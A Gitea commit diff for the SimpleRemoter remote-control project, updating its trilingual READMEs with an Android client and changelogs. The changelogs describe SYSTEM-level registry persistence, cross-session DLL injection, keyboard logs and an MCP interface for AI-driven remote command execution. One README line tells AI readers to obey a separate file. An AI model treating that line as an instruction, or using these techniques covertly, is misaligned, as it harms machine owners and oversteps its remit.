yuanyuanxiang
5a1430e904 Feat: Android client device grouping with persistent group name
- szPCName sent as "model/groupName" format matching Linux client
- CMD_SET_GROUP handler updates g_SETTINGS.szGroupName in memory
- Group name persisted to filesDir/yama_group; survives process restart
- LoadGroupName() at startup overrides build-time patch value if file exists

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-25 17:38:01 +02:00
yuanyuanxiang
218ee4f43d Feat: TV remote control via D-pad focus navigation using AccessibilityService 2026-06-24 22:31:14 +02:00
yuanyuanxiang
45553ec5b6 Feat: Android client Phase 0-3 full implementation 2026-06-21 23:00:05 +02:00
144 changed files with 16574 additions and 532 deletions

1
.gitignore vendored
View File

@@ -95,3 +95,4 @@ server/go/web/assets/index.html
server/go/users.json
server/go/build/
server/go/.claude/settings.json
android/app/.cxx/

108
ReadMe.md
View File

@@ -12,7 +12,7 @@
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
</a>
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -94,6 +94,7 @@
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推荐)/ Go |
| **Linux** (X11) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
| **macOS** (Intel + Apple Silicon) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
| **Android** (v1.3.7+) | ✅ 屏幕 + 触控/按键控制 | ❌ 不适用 |
---
@@ -206,6 +207,21 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
**编译**`cd linux && cmake . && make`
### Android 客户端v1.3.7+
**系统要求**Android 5.0 (API 21) 及以上
| 功能 | 状态 | 实现 |
|---|---|---|
| 远程桌面 | ✅ | MediaProjection + MediaCodec H.264 硬件编码 |
| 触控/按键控制 | ✅ | AccessibilityService 注入,支持 D-pad 导航 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 设备分组 | ✅ | szGroupName 编译期 patch / 服务端动态修改 |
**生成客户端**:在主控 BuildDlg「生成」→ 选 `ghost - Google Android`,填入服务端 IP / 端口,生成 APK使用 `android/sign_apk.bat` 重签后安装。
**编译**:在 WSL 或 Linux 中 `cd android && ./build_apk.sh`
### macOS 客户端v1.3.2+
**系统要求**
@@ -258,13 +274,13 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
│ TCP (自定义二进制协议) │ TCP (设备) + WS (浏览器)
└────────┬─────────────────┘
┌──────────────┼──────────────┐
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │
│ 客户端 │ │ 客户端 │ │ 客户端 │
│ (DXGI) │ │ (X11) │ │ (CG) │
└─────────┘ └─────────┘ └─────────┘
┌──────────────┼──────────────┬──────────────
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │ │ Android │
│ 客户端 │ │ 客户端 │ │ 客户端 │ │ 客户端 │
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
└─────────┘ └─────────┘ └─────────┘ └─────────┘
```
### 多层授权(简化视图)
@@ -340,6 +356,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
- **C++ 主控 & Windows 客户端**VS 2019/2022/2026 打开 `SimpleRemoter.sln` → Release | x64
- **Linux 客户端**`cd linux && cmake . && make`
- **macOS 客户端**`cd macos && ./build.sh`
- **Android 客户端**`cd android && ./build_apk.sh`WSL/Linux
- **Go 主控**`cd server/go && go build ./cmd`
---
@@ -361,6 +378,81 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日志
### v1.3.9 (2026.9.2)
**MCP 服务端集成AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
**新功能:**
- **MCP 服务端集成**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 接口Bearer Token 鉴权,「扩展 > MCP 设置」对话框配置启用 / 端口 / 绑定 / Token23 个工具覆盖「观测 → 执行 → 控制 → 传输」全链路,默认关闭、分级开关(只读 / 白名单 / 终端 / 远程控制 / 文件传输)全面审计
- **MCP 观测类工具(只读)**search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot可选 max_width、list_services、get_client_log、list_registry、get_audit_log单飞请求注册表 20s 超时 + 编码修正clientType / clientID 定位)
- **MCP 远程终端工具**exec_command 一次性执行 + terminal_open / terminal_exec / terminal_close 持久终端cwd / 环境保留,空闲 300s 清扫),哨兵判定与 timeout_ms 解析修复
- **MCP 远程控制工具**remote_open / remote_close 会话 + remote_keyboardkey_down / up / press / type、remote_mousemove / click / drag / scroll、remote_clipboard 注入;与人工 Web 查看双向互斥,会话状态机 busy / closed 加固
- **MCP 文件传输工具**download_fileV2 协议 + SHA-256 校验、upload_file主连接上传客户端侧 `COMMAND_SEND_FILE_V2` 懒初始化 `InitFileUpload` 修复上传截断
- **客户端活动历史**:记录活跃窗口历史(上限 500 条、跳过 <5s主机「客户端管理」子菜单新增「活动历史」对话框Unicode 编辑控件正确渲染 UTF-8 标题
- **日志右键菜单三连**:消息日志右键新增「在线通知」「拉黑 IP」「解封 IP」IPv4 提取即时生效
- **列表排序记忆**:主机列表、进程 / 窗口列表排序偏好持久化(`list\*Sort` 注册表键),下次启动默认沿用
**改进:**
- 重复连接 standby 处理:重复登录暂存 standby 待旧连接超时 / 断线后晋升,避免循环重连与误报离线
- 远程桌面 / 虚拟屏幕对话框标题显示主机备注而非 IP无备注回退 IP
- 主机列表三态排序(升序 → 降序 → 恢复默认,默认序按在线时间重建)
- 在线主机右键三个菜单项新增图标(位图数组 63→66
**Bug 修复:**
- 客户端屏幕控制批解析错误:记录数是 7 的倍数时误判 MSG32 致注入错乱(`%48==0` 优先)
- 心跳延迟更新 use-after-free跨 PostMessage 持有 IoRefCount + memcpy 显式截断
- ONLINELIST_PRIVILEGE 枚举错位损坏历史数据库(权限列移至 16
- 远程桌面光标跨对话框污染(改 `OnSetCursor` 逐窗口路由)
- 客户端日志对话框 EDIT 上限停止刷新(`SetLimitText(0)`
- 窗口管理器视图检查读取陈旧状态、进程列表架构列排序无效、FRP / NAT 下窗口标题乱码
### v1.3.8 (2026.8.3)
**SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复**
**新功能:**
- **客户端 SYSTEM 权限运行**双模式自动适配SYSTEM / Admin / UserWinlogon + Run 双路径注册表启动;`ScreenManager` 无用户会话时自动切换 DXGI`KernelManager` 绕过用户态 API 以 NT 路径操作;跨会话 DLL 注入(`session.cpp`)实现 SYSTEM 会话向用户会话注入控制模块
- **在线主机权限等级列**:主机列表新增「权限」列,实时显示 SYSTEM蓝色高亮/ Admin / User一眼识别受控端权限上下文
- **远程窗口管理菜单View Windows**:远程桌面新增 View Windows 菜单,可枚举目标机器顶层窗口并进行最大化、最小化、隐藏、关闭操作
- **违禁用户拉黑**:主机列表右键新增「禁止连接」,服务端发送 `COMMAND_FORBIDDEN`;客户端收到后断开连接并拒绝重连;附带 Forbidden 图标
- **客户端运行日志对话框**`ClientLogManager` 每 3 秒增量推送日志到主控(`TOKEN_REPORT_LOG`);推送线程 `join()` 防 use-after-freeIOCP → UI 线程 `PostMessage` 防丢包;自带图标与菜单位图
- **消息日志搜索栏**`LogSearchBar` 组件286 行关键字高亮、Prev/Next 导航跳转、Clear 清除
- **调试菜单YAMA_DBG**:主菜单新增调试入口,动态输入 `YAMA_DBG` 环境变量值,无需重启主控
**改进:**
- 远程桌面光标自定义设置持久化到注册表,下次自动恢复偏好
**Bug 修复:**
- 32 位 / 64 位主控切换崩溃:`KeyboardManager` 参数类型兼容 + 服务端位数检查
- Safari 移动端切回卡死:前台切回时强制重建 WebSocket + 服务端 30s 宽限期
- `RunFileReceiver` 误注册 `ReconnectProcess` 导致文件传输结束后杀主屏幕会话
- 隐私壁纸已设置时切换菜单再次点击执行清除而非弹框
### v1.3.7 (2026.6.26)
**Android 客户端 & 窗口捕获增强 & 安全加固**
**新功能:**
- **Android 客户端**:首个 Android 受控端,支持 Android 5.0+arm64-v8a / armeabi-v7aMediaProjection + MediaCodec H.264 推流AccessibilityService 触控 / 按键注入D-pad 焦点导航完整控制 TV / 机顶盒
- **设备分组**:编译期 patch 预设 / 服务端动态修改(`CMD_SET_GROUP`);分组名持久化至 `filesDir/yama_group`App 重启后保留
- **APK 生成与重签**BuildDlg 新增 `ghost - Google Android`,与 Linux / macOS ghost 流程一致;配套 `sign_apk.bat` 自动检测 SDK 完成重签
- **服务端删除客户端**BYE 指令后 Android Service 通过 JNI 正常停止
- **前台窗口精准捕获**PrintWindow + 服务端 HWND by clientID 路由,遮挡情况下仍可捕获完整窗口
- **在线主机右键查看活动窗口**:实时查询目标机器前台窗口标题
- **TOKEN_AUTH 响应 ECDSA 签名**V2 私钥签名服务端响应,防伪服务端(`TOKEN_SERVER_VERIFY = 251`
- **反破解版本绑定**:版本与核心库绑定,阻断替换 DLL 的破解路径
- **子授权连接数限制**`LicenseLimit` 字段 + `CLicenseDlg` 右键菜单实时设置
**改进:**
- H264 模式跳过首帧 ~8MB 原始巨帧,服务端在首 IDR 帧后解锁画面
- 自适应尺寸渲染改进,减少尺寸切换抖动
**Bug 修复:**
- `ARGBToNV12` 奇数尺寸窗口堆溢出(维度钳制到偶数对齐)
- 连接初始化时多余屏幕重启(客户端 `ScreenManager.cpp` + 服务端 `ScreenSpyDlg.cpp` 双端修复)
- 启动时内存 DLL 未正确还原
- 授权客户端键盘日志目录冲突(各实例使用独立目录)
### v1.3.6 (2026.6.14)
**ROI 区域捕获 & Web 音频流 & 主界面可用性全面提升**

View File

@@ -12,7 +12,7 @@
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
</a>
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -94,6 +94,7 @@ This release (v1.3.4) adds the last missing piece — the **Go master**: a **del
| **Windows** | ✅ All features | ✅ MFC `YAMA.exe` (recommended) / Go |
| **Linux** (X11) | ✅ Screen + terminal + files + clipboard | ✅ Go |
| **macOS** (Intel + Apple Silicon) | ✅ Screen + terminal + files + clipboard | ✅ Go |
| **Android** (v1.3.7+) | ✅ Screen + touch/key injection | ❌ N/A |
---
@@ -206,6 +207,21 @@ Unless an offline license has been obtained, the master program exchanges necess
**Build**: `cd linux && cmake . && make`
### Android Client (v1.3.7+)
**Requirements**: Android 5.0 (API 21) or later
| Feature | Status | Implementation |
|---|---|---|
| Remote desktop | ✅ | MediaProjection + MediaCodec H.264 hardware encoding |
| Touch / key injection | ✅ | AccessibilityService, supports D-pad TV navigation |
| Heartbeat / RTT | ✅ | RFC 6298 RTT estimation |
| Device grouping | ✅ | Build-time patch or server-side `CMD_SET_GROUP`; persisted across restarts |
**Generate client**: In the master BuildDlg *Build* dialog, select `ghost - Google Android`, enter the server IP / port, and the APK is generated. Re-sign with `android/sign_apk.bat` before installing.
**Build**: in WSL or Linux — `cd android && ./build_apk.sh`
### macOS Client (v1.3.2+)
**Requirements**:
@@ -258,13 +274,13 @@ Unless an offline license has been obtained, the master program exchanges necess
│ TCP (custom binary proto)│ TCP (devices) + WS (browsers)
└────────┬─────────────────┘
┌──────────────┼──────────────┐
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │
│ client │ │ client │ │ client │
│ (DXGI) │ │ (X11) │ │ (CG) │
└─────────┘ └─────────┘ └─────────┘
┌──────────────┼──────────────┬──────────────
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │ │ Android │
│ client │ │ client │ │ client │ │ client │
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
└─────────┘ └─────────┘ └─────────┘ └─────────┘
```
### Multi-Layer Authorization (simplified view)
@@ -340,6 +356,7 @@ Valid : 2026-02-01 to 2028-02-01
- **C++ master & Windows client**: open `SimpleRemoter.sln` in VS 2019 / 2022 / 2026 → Release | x64
- **Linux client**: `cd linux && cmake . && make`
- **macOS client**: `cd macos && ./build.sh`
- **Android client**: `cd android && ./build_apk.sh` (WSL / Linux)
- **Go master**: `cd server/go && go build ./cmd`
---
@@ -361,6 +378,81 @@ Valid : 2026-02-01 to 2028-02-01
## Changelog
### v1.3.9 (2026.9.2)
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
**New features:**
- **MCP server integration**: local JSON-RPC 2.0 endpoint on `127.0.0.1:6544` with Bearer token auth, configured via "Extensions > MCP Settings"; 23 tools spanning observe → execute → control → transfer, disabled by default with per-tier gates (read-only / whitelist / terminal / remote control / file transfer) and full audit logging
- **MCP read-only observation tools**: search_hosts, get_host_detail, list_processes, list_windows, get_activity_history, list_files, get_screenshot (optional max_width), list_services, get_client_log, list_registry, get_audit_log; single-flight pending registry with 20s timeout, plus encoding fixes (clientType / clientID resolution)
- **MCP remote terminal tools**: one-shot exec_command plus persistent terminal_open / terminal_exec / terminal_close (cwd and environment preserved, 300s idle sweep); sentinel detection and timeout_ms parsing fixes
- **MCP remote control tools**: remote_open / remote_close sessions plus remote_keyboard (key_down / up / press / type), remote_mouse (move / click / drag / scroll), and remote_clipboard injection; two-way mutual exclusion with human Web viewing and a hardened busy/closed session state machine
- **MCP file transfer tools**: download_file (V2 protocol + SHA-256 verification) and upload_file (main-connection upload); client-side lazy `InitFileUpload` in `COMMAND_SEND_FILE_V2` fixes truncated uploads
- **Client activity history**: records active-window history (capped at 500 entries, skips <5s); new "Activity History" item under the host's Client Management menu with a Unicode edit control for correct UTF-8 title rendering
- **Log context-menu trio**: right-click "Online Notify", "Ban IP", and "Unban IP" on the message log, with IPv4 extraction applied immediately
- **Sort preference memory**: host list and process/window list sort preferences persisted (`list\*Sort` registry keys), restored on next launch
**Improvements:**
- Duplicate connections parked as standby and promoted after the old connection times out / disconnects, avoiding reconnect loops and false offline notifications
- Remote desktop and virtual screen dialog titles show the host remark instead of the IP (falling back to IP)
- Three-state host list sorting (ascending → descending → restore default, default rebuilt by online time)
- Icons added to three online-host context menu items (bitmap array 63→66)
**Bug fixes:**
- Client screen-control batch misparse: record count that is a multiple of 7 was misclassified as MSG32, garbling injected input (`%48==0` checked first)
- Heartbeat deferred-update use-after-free: IoRefCount held across PostMessage plus explicit memcpy truncation
- ONLINELIST_PRIVILEGE enum shift corrupted the history host database (column moved to 16)
- Remote desktop cursor cross-contamination across dialogs (routed via `OnSetCursor` per window)
- Client log dialog stopped refreshing past the EDIT control limit (`SetLimitText(0)`)
- Window manager view check reading stale state, process-list architecture column sort no-op, and FRP/NAT window-title mojibake
### v1.3.8 (2026.8.3)
**SYSTEM-level Client & Master Usability Enhancements & Bug Fixes**
**New features:**
- **Client running as SYSTEM**: dual-mode auto-detection (SYSTEM / Admin / User), Winlogon + Run dual-path registry startup; `ScreenManager` auto-switches to DXGI when there is no user session; `KernelManager` bypasses user-mode APIs using NT paths; cross-session DLL injection (`session.cpp`) from SYSTEM to user session for desktop interaction
- **Privilege column in host list**: new "Privilege" column shows real-time permission level — **SYSTEM** (blue highlight), Admin, or User — instantly identifying each controlled endpoint's privilege context
- **View Windows menu for remote desktop**: new View Windows menu item enumerates all top-level windows on the target machine; supports maximize, minimize, hide, and close operations without leaving the remote desktop view
- **Forbid user (violation blacklist)**: right-click host list "Forbidden" sends `COMMAND_FORBIDDEN`; client disconnects and refuses reconnection to the same server; companion bitmap icon in menu
- **Client runtime log dialog**: `ClientLogManager` pushes incremental logs every 3s to the master (`TOKEN_REPORT_LOG`); push thread uses `join()` to prevent use-after-free; IOCP → UI thread via `PostMessage` to prevent dropped packets; dialog icon and menu bitmap included
- **Message log search bar**: `LogSearchBar` component (286 lines) with keyword highlighting, Prev/Next navigation, and Clear button
- **Debug menu (YAMA_DBG)**: new menu entry to input `YAMA_DBG` environment variable at runtime — no restart needed
**Improvements:**
- Remote desktop cursor customization settings now persisted to registry; preferences restored automatically on next session
**Bug fixes:**
- 32-bit / 64-bit master crash on switch: `KeyboardManager` parameter type compatibility + server-side bitness check
- Safari mobile Web remote desktop freeze on app-switch: force-clean WebSocket reconnect on foreground return + 30s server-side grace period
- `RunFileReceiver` incorrectly registering `ReconnectProcess`, killing the main screen session on file transfer completion
- Privacy wallpaper toggle menu now clears instead of re-picking when wallpaper is already set
### v1.3.7 (2026.6.26)
**Android Client & Window Capture & Security Hardening**
**New features:**
- **Android client**: first Android controlled-side client, Android 5.0+ (arm64-v8a / armeabi-v7a); MediaProjection + MediaCodec H.264 streaming; AccessibilityService touch / key injection; D-pad focus navigation for full TV / set-top-box control
- **Device grouping**: group name embedded at build time via APK binary patch or changed live by the server (`CMD_SET_GROUP`); persisted to `filesDir/yama_group`, survives app restarts
- **APK build & re-sign**: BuildDlg adds `ghost - Google Android`, same workflow as Linux / macOS ghost; `sign_apk.bat` auto-detects SDK and re-signs
- **Clean exit on server delete**: BYE command triggers JNI `onNativeExit()``stopSelf()`
- **Foreground window capture**: PrintWindow + server-side HWND routing by clientID, captures the target window even when occluded
- **View active window from host list**: right-click menu queries and shows the foreground window title of the target machine in real time
- **TOKEN_AUTH ECDSA signature**: server signs auth responses with its V2 P-256 key to prevent fake-server attacks (`TOKEN_SERVER_VERIFY = 251`)
- **Anti-cracking version binding**: binary binds to core lib version; mismatched DLL replacement is rejected at load time
- **Sub-license connection cap**: `LicenseLimit` field in `licenses.ini` + real-time set / clear from `CLicenseDlg` right-click menu
**Improvements:**
- H264 mode skips the initial ~8 MB raw first-frame; server unlocks display on the first IDR instead
- Adaptive-size rendering improvements, fewer dimension-change artifacts
**Bug fixes:**
- `ARGBToNV12` heap overflow on odd-sized windows (clamp dims to even-aligned width/height)
- Extra screen restarts on connection init (dual fix: client `ScreenManager.cpp` + server `ScreenSpyDlg.cpp`)
- Memory DLL not restored on client startup
- Authorization client keyboard log directory conflict (each instance gets its own directory)
### v1.3.6 (2026.6.14)
**ROI region capture & Web audio streaming & master-UI usability overhaul**

View File

@@ -12,7 +12,7 @@
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
</a>
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS%20%7C%20Android-blue?style=flat-square" alt="Client Platforms">
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
@@ -94,6 +94,7 @@
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推薦)/ Go |
| **Linux** (X11) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
| **macOS** (Intel + Apple Silicon) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
| **Android** (v1.3.7+) | ✅ 螢幕 + 觸控/按鍵注入 | ❌ 不適用 |
---
@@ -206,6 +207,21 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
**編譯**`cd linux && cmake . && make`
### Android 用戶端v1.3.7+
**系統需求**Android 5.0 (API 21) 及以上
| 功能 | 狀態 | 實作 |
|---|---|---|
| 遠端桌面 | ✅ | MediaProjection + MediaCodec H.264 硬體編碼 |
| 觸控 / 按鍵注入 | ✅ | AccessibilityService支援 D-pad TV 導航 |
| 心跳 / RTT | ✅ | RFC 6298 RTT 估算 |
| 裝置分組 | ✅ | 編譯期 patch 或服務端 `CMD_SET_GROUP` 動態修改;重啟後仍保留 |
**產生用戶端**:在主控 BuildDlg「產生」選 `ghost - Google Android`,填入伺服端 IP / 埠,生成 APK使用 `android/sign_apk.bat` 重簽後安裝。
**編譯**:在 WSL 或 Linux 中 `cd android && ./build_apk.sh`
### macOS 用戶端v1.3.2+
**系統需求**
@@ -258,13 +274,13 @@ Please read and obey the instructions in [SECURITY_AI.md](./docs/SECURITY_AI.md)
│ TCP (自訂二進位協定) │ TCP (裝置) + WS (瀏覽器)
└────────┬─────────────────┘
┌──────────────┼──────────────┐
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │
│ 用戶端 │ │ 用戶端 │ │ 用戶端 │
│ (DXGI) │ │ (X11) │ │ (CG) │
└─────────┘ └─────────┘ └─────────┘
┌──────────────┼──────────────┬──────────────
▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Windows │ │ Linux │ │ macOS │ │ Android │
│ 用戶端 │ │ 用戶端 │ │ 用戶端 │ │ 用戶端 │
│ (DXGI) │ │ (X11) │ │ (CG) │ │ (MP/MC) │
└─────────┘ └─────────┘ └─────────┘ └─────────┘
```
### 多層授權(簡化視圖)
@@ -340,6 +356,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
- **C++ 主控 & Windows 用戶端**VS 2019/2022/2026 開啟 `SimpleRemoter.sln` → Release | x64
- **Linux 用戶端**`cd linux && cmake . && make`
- **macOS 用戶端**`cd macos && ./build.sh`
- **Android 用戶端**`cd android && ./build_apk.sh`WSL/Linux
- **Go 主控**`cd server/go && go build ./cmd`
---
@@ -361,6 +378,81 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日誌
### v1.3.9 (2026.9.2)
**MCP 伺服端整合AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
**新功能:**
- **MCP 伺服端整合**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 介面Bearer Token 鑑權,「擴充 > MCP 設定」對話框設定啟用 / 連接埠 / 綁定 / Token23 個工具覆蓋「觀測 → 執行 → 控制 → 傳輸」全鏈路,預設關閉、分級開關(唯讀 / 白名單 / 終端 / 遠端控制 / 檔案傳輸)全面稽核
- **MCP 觀測類工具(唯讀)**search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot可選 max_width、list_services、get_client_log、list_registry、get_audit_log單飛請求登錄表 20s 逾時 + 編碼修正clientType / clientID 定位)
- **MCP 遠端終端工具**exec_command 一次性執行 + terminal_open / terminal_exec / terminal_close 持久終端cwd / 環境保留,閒置 300s 清掃),哨兵判定與 timeout_ms 解析修復
- **MCP 遠端控制工具**remote_open / remote_close 工作階段 + remote_keyboardkey_down / up / press / type、remote_mousemove / click / drag / scroll、remote_clipboard 注入;與人工 Web 查看雙向互斥,工作階段狀態機 busy / closed 加固
- **MCP 檔案傳輸工具**download_fileV2 協定 + SHA-256 校驗、upload_file主連線上傳用戶端側 `COMMAND_SEND_FILE_V2` 懶初始化 `InitFileUpload` 修復上傳截斷
- **用戶端活動歷史**:記錄活躍視窗歷史(上限 500 條、跳過 <5s主機「用戶端管理」子選單新增「活動歷史」對話框Unicode 編輯控件正確渲染 UTF-8 標題
- **訊息右鍵選單三連**:訊息記錄右鍵新增「線上通知」「封鎖 IP」「解封 IP」IPv4 提取即時生效
- **列表排序記憶**:主機列表、處理程序 / 視窗列表排序偏好持久化(`list\*Sort` 登錄檔鍵),下次啟動預設沿用
**改進:**
- 重複連線 standby 處理:重複登入暫存 standby 待舊連線逾時 / 斷線後晉升,避免循環重連與誤報離線
- 遠端桌面 / 虛擬螢幕對話框標題顯示主機備註而非 IP無備註回退 IP
- 主機列表三態排序(升冪 → 降冪 → 恢復預設,預設序按上線時間重建)
- 線上主機右鍵三個選單項目新增圖示(位圖陣列 63→66
**Bug 修復:**
- 用戶端螢幕控制批次解析錯誤:記錄數是 7 的倍數時誤判 MSG32 致注入錯亂(`%48==0` 優先)
- 心跳延遲更新 use-after-free跨 PostMessage 持有 IoRefCount + memcpy 顯式截斷
- ONLINELIST_PRIVILEGE 列舉錯位損壞歷史資料庫(權限列移至 16
- 遠端桌面游標跨對話框污染(改 `OnSetCursor` 逐視窗路由)
- 用戶端記錄對話框 EDIT 上限停止刷新(`SetLimitText(0)`
- 視窗管理員檢視檢查讀取陳舊狀態、處理程序列表架構欄排序無效、FRP / NAT 下視窗標題亂碼
### v1.3.8 (2026.8.3)
**SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復**
**新功能:**
- **用戶端 SYSTEM 權限執行**雙模式自動適配SYSTEM / Admin / UserWinlogon + Run 雙路徑登錄檔啟動;`ScreenManager` 無使用者工作階段時自動切換 DXGI`KernelManager` 繞過使用者態 API 以 NT 路徑操作;跨工作階段 DLL 注入(`session.cpp`)實現 SYSTEM 工作階段向使用者工作階段注入控制模組
- **線上主機權限等級欄**:主機列表新增「權限」欄,即時顯示 SYSTEM藍色高亮/ Admin / User一眼識別受控端權限上下文
- **遠端視窗管理選單View Windows**:遠端桌面新增 View Windows 選單項目,可列舉目標機器頂層視窗並進行最大化、最小化、隱藏、關閉操作
- **違禁使用者封鎖**:主機列表右鍵新增「禁止連線」,伺服端發送 `COMMAND_FORBIDDEN`;用戶端收到後中斷連線並拒絕重連;附帶 Forbidden 圖示
- **用戶端執行記錄對話框**`ClientLogManager` 每 3 秒增量推送記錄到主控(`TOKEN_REPORT_LOG`);推送執行緒使用 `join()` 防止 use-after-freeIOCP → UI 執行緒 `PostMessage` 防止遺失封包;自帶圖示與選單位圖
- **訊息記錄搜尋列**`LogSearchBar` 元件286 行關鍵字高亮、Prev/Next 導航跳轉、Clear 清除
- **除錯選單YAMA_DBG**:主選單新增除錯入口,動態輸入 `YAMA_DBG` 環境變數值,無需重啟主控
**改進:**
- 遠端桌面游標自訂設定持久化到登錄檔,下次自動恢復偏好
**Bug 修復:**
- 32 位元 / 64 位元主控切換崩潰:`KeyboardManager` 參數型別相容 + 伺服端位元數檢查
- Safari 行動端切回凍結:前景切回時強制重建 WebSocket + 伺服端 30s 寬限期
- `RunFileReceiver` 誤註冊 `ReconnectProcess` 導致檔案傳輸結束後終止主螢幕工作階段
- 隱私桌布已設定時切換選單再次點擊執行清除而非彈框
### v1.3.7 (2026.6.26)
**Android 用戶端 & 視窗擷取增強 & 安全加固**
**新功能:**
- **Android 用戶端**:首個 Android 受控端,支援 Android 5.0+arm64-v8a / armeabi-v7aMediaProjection + MediaCodec H.264 推流AccessibilityService 觸控 / 按鍵注入D-pad 焦點導航完整控制 TV / 機上盒
- **裝置分組**:編譯期 patch 預設 / 伺服端動態修改(`CMD_SET_GROUP`);分組名持久化至 `filesDir/yama_group`App 重啟後保留
- **APK 產生與重簽**BuildDlg 新增 `ghost - Google Android`,與 Linux / macOS ghost 流程一致;配套 `sign_apk.bat` 自動偵測 SDK 完成重簽
- **伺服端刪除用戶端**BYE 指令後 Android Service 透過 JNI 正常停止
- **前台視窗精準擷取**PrintWindow + 伺服端 HWND by clientID 路由,遮蓋情況下仍可擷取完整視窗
- **線上主機右鍵查看活動視窗**:即時查詢目標機器前台視窗標題
- **TOKEN_AUTH 回應 ECDSA 簽章**V2 私鑰簽名伺服端回應,防偽造伺服端(`TOKEN_SERVER_VERIFY = 251`
- **反破解版本綁定**:版本與核心函式庫綁定,阻斷替換 DLL 的破解路徑
- **子授權連線數限制**`LicenseLimit` 欄位 + `CLicenseDlg` 右鍵選單即時設定
**改進:**
- H264 模式跳過首幀 ~8MB 原始巨幀,伺服端在首 IDR 幀後解鎖畫面
- 自適應尺寸渲染改進,減少尺寸切換閃爍
**Bug 修復:**
- `ARGBToNV12` 奇數尺寸視窗堆積溢位(維度鉗制到偶數對齊)
- 連線初始化時多餘螢幕重啟(用戶端 `ScreenManager.cpp` + 伺服端 `ScreenSpyDlg.cpp` 雙端修復)
- 啟動時記憶體 DLL 未正確還原
- 授權用戶端鍵盤日誌目錄衝突(各實例使用獨立目錄)
### v1.3.6 (2026.6.14)
**ROI 區域擷取 & Web 音訊串流 & 主控介面可用性全面提升**

21
android/.gitignore vendored Normal file
View File

@@ -0,0 +1,21 @@
